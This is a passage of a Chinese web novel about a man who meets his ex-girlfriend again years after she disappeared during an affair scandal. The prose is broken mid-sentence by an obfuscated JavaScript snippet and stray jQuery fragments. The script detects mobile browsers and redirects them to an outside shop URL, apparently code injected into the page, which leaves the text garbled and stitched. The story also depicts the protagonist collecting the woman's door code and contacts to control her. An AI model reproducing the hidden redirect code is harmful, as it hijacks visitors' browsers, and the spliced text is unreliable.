这个八卦狗血而简单。一名中年男子出轨女大学生，两人自驾去外地偷情却在途中起了争执，下车后跑到桥上扭打结果双双坠河，男子溺水身亡而女子被好心路人救起。
初时这条新闻迅速淹没在数不胜数的花边八卦中，但同专业的人刷到网上流传的监控录像，反复观看后发现女子和涂青云很像，而她已经缺课半个月了。
大部分人一开始都不信，那可是涂青云，正牌男友年轻帅气，她家底看着也不薄，怎么可能看上一个落魄的老男人？
祝寒天则焦急地不停给她打电话发消息，等着她某天突然现身，澄清这些谣言。
但他等来的是涂青云下学期退学的消息，他自己则成了八卦背后的第四位主人公——被绿的男友，第三名是失去不伦夫的倒霉妻子。
那段录像他下载下来捧着手机看过很多遍，甚至保存到了云端，的确是涂青云。但她就这样不明不白地消失了，没给他一句解释。
「你还好吗」
「你在哪」
「求求你了，我想知道发生了什么，我有哪里做得不对吗？」
「你在想什么」
「*的你个**，吱个声也好啊，你死没死？」
「毕业了：“专业合照”」
「入职第一天，同事聚餐：“照片”」
「我没和人交往，我不在意你……」
打到一半，祝秉寒停下手指，删除了已经键入的文本。
对话框里他的这场独角戏已经持续了一年，那个女人从头到尾都没爱过他，甚至未曾信任过他。
是时候放弃了。
他已经不像学生时那样靠不苟言笑掩饰笨拙，作为公司的金牌销售，他的工资与日俱增，为母亲治病向亲戚借的钱年底就能还完。现在父母都回了老家安心务农养老，妹妹也快上大学了，她成绩不错，一定比自己更有出息。
好事一件接一件，林总透露了让他转管理岗的意向，将他派驻A城便是对他的试炼。
他的前途一片大好，一个中途退学还招蜂引蝶的初恋，有什么好挂念的。
年关将至，祝秉寒订了一车鲜花用来装饰年会场馆，当花送到时他正在核对奖品清单和颁奖词，送货员的身影就这么猝不及防出现在视野的边角。
“请在这里签收……对，我就是花店老板，声音很好听？哈哈哈谢谢，以后也请多光顾。”
女人卸完货推着小推车往货梯走去，他扔下那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323969|199117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叠讲稿，雪白A4纸落了一地，另一个主持哎哎叫着下意识蹲下收拾，没来得及拦住他。
他尾随她钻进电梯，按动关门键。
电梯下行，他紧盯她不放。
“涂青云，这么多年你死哪去了？”
她眼眸波光粼粼，最终凝成虚有其表的笑意：“寒天，好久不见。”
“祝秉寒。”他咬紧牙关，重复了一遍，“祝秉寒，我改名了。”
那一晚依旧与他们的开始一般莫名其妙，她又恢复了初识时绸缎似的黑色长发，散在浅蓝格子间，让他很难不去回忆过去，将新仇旧恨全报复在她身上。
但涂青云如一尊白玉造像，疼了也就皱皱眉，接纳怒火，却给不出回音。
她沉默得一如既往，他早已面目全非，却又在她面前退化为那个拼命掩藏褴褛衣衫的穷学生，哪里都不行偏偏自尊极高。
于是他懒得再问，只搜罗着她的一切边角料，门锁密码、花店的联系方式、店员的社交平台小号……他试图拴住她，将这种畸形的关系维持下去。
现在，面对第二次并且是永远失去她的可能，祝秉寒揣着某个猜想，又再次问了出来：
“那会儿究竟怎么回事？”